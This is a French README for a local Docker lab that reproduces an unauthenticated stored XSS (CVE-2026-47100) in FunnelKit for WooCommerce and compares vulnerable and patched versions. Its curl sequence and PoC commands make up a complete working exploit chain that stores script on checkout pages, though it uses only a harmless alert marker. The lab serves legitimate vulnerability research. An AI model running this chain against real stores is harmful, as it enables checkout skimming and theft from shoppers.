
Laboratoire Docker local pour reproduire CVE-2026-47100, un XSS stocké non authentifié dans FunnelKit pour WooCommerce. Inclut des scripts PoC pour comparer les versions vulnérables et corrigées.
Lab Docker local pour reproduire la CVE-2026-47100 de manière sûre et la moins dommageable possible. Ce lab compare une version vulnérable de FunnelKit à une version corrigée et vérifie le comportement à l'aide d'un marqueur/alerte JavaScript inoffensif.
La CVE-2026-47100 est une vulnérabilité d'absence d'autorisation dans Funnel Builder / FunnelKit for WooCommerce Checkout antérieure à la version 3.15.0.3.
Le flux AJAX de checkout vulnérable permet à un visiteur non authentifié d'invoquer une méthode interne du plugin et d'écrire des données dans le réglage intégré de script externe global de FunnelKit. Comme ce réglage est ensuite affiché sur les pages de checkout FunnelKit, le problème peut devenir un XSS stocké non authentifié sur les pages de checkout.
Ce dépôt reproduit le problème localement à l'aide de deux services Docker :
| Service | Version | URL | Résultat attendu |
|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | comportement vulnérable confirmé |
patched | 3.15.0.3 | http://127.0.0.1:8082 | écriture bloquée / marqueur non affiché |

Sélection initiale de la CVE à partir de la sortie de Vulnx. Le lab et le PoC ont été construits manuellement en comparant les comportements vulnérable et corrigé.
Un attaquant non authentifié peut abuser du flux AJAX public de checkout pour persister du JavaScript dans le réglage de script externe global de FunnelKit.
Sur une boutique WooCommerce réelle, cela pourrait permettre à du JavaScript malveillant de s'exécuter dans le navigateur des utilisateurs qui visitent la page de checkout. Les rapports publics ont associé cette classe de vulnérabilité à des campagnes de skimming sur les pages de checkout.
Ce lab n'utilise volontairement qu'un marqueur de preuve inoffensif :
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
La version vulnérable accepte des données de checkout contrôlées par l'utilisateur depuis le point de terminaison AJAX public de WooCommerce :
/?wc-ajax=update_order_review
Dans le flux de checkout FunnelKit, la requête peut inclure :
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
La logique vulnérable vérifie si le nom d'action fourni existe en tant que méthode de classe. Si la méthode existe, elle peut être invoquée depuis le flux de checkout public.
Comportement vulnérable simplifié :
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
L'action importante contrôlée par l'attaquant est :
update_global_settings_fields
Cette méthode met à jour l'option WordPress :
_wfacp_global_settings
et plus précisément la clé intégrée FunnelKit :
wfacp_global_external_script
La valeur stockée est ensuite lue par le template de checkout et affichée sur la page de checkout. Cela crée la condition de XSS stocké.
Chaîne d'exploitation :
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
La version 3.15.0.3 renforce la sécurité du chemin vulnérable grâce à deux changements importants.
La version corrigée restreint les actions de checkout qui peuvent être invoquées depuis le flux de checkout public.
Comportement corrigé simplifié :
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
Cela empêche des méthodes internes arbitraires telles que update_global_settings_fields d'être déclenchées par des requêtes de checkout non authentifiées.
La version corrigée ajoute également une vérification d'autorisation avant que les réglages globaux puissent être mis à jour :
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
Cela signifie que le réglage de script externe global ne devrait être modifiable que par les utilisateurs disposant des privilèges de gestion WooCommerce.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
Le processus d'amorçage crée :
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
Le lab utilise une URL de checkout déterministe :
/?post_type=wfacp_checkout&p=11
Cette URL charge explicitement le custom post de checkout FunnelKit dans le lab Docker local.
Démarrer le lab :
docker compose up -d --build
Vérifier les services :
docker compose ps
Services attendus :
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Installer les dépendances Python :
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py est le PoC déterministe du lab.
Il suppose les valeurs d'amorçage Docker locales suivantes :
product_id = 10
checkout_post_id = 11
Exécution contre le service vulnérable :
python3 poc/poc_lab.py http://127.0.0.1:8081
Résultat attendu :
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
Exécution contre le service corrigé :
python3 poc/poc_lab.py http://127.0.0.1:8082
Résultat attendu :
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py est un outil d'auto-test autorisé plus portable.
Vérification passive uniquement :
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
Vérification active autorisée :
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
Mode marqueur uniquement, sans alerte :
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
Tentative de nettoyage :
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
Créer une nouvelle session WooCommerce et ajouter le produit du lab au panier :
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
Récupérer la page de checkout FunnelKit et extraire le nonce de checkout WooCommerce :
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
Envoyer la requête AJAX de checkout forgée :
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Vérifier que l'option a été écrite :
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Résultat attendu :
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
Vérifier que le marqueur est affiché :
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Ouvrir dans un navigateur pour voir l'alerte inoffensive :
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
Répéter le même flux contre le port 8082 :
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Vérifier que l'option reste inchangée :
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Résultat attendu :
[]
Vérifier que le marqueur n'est pas affiché :
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Résultat attendu : aucune sortie.
Le service vulnérable confirme le problème lorsque toutes les conditions suivantes sont réunies :
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
Le service corrigé confirme le correctif lorsque :
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
Ce dépôt est destiné uniquement à la recherche en sécurité locale et autorisée.
Périmètre autorisé :
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
Non autorisé :
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
Le PoC n'utilise qu'une alerte et un marqueur inoffensifs.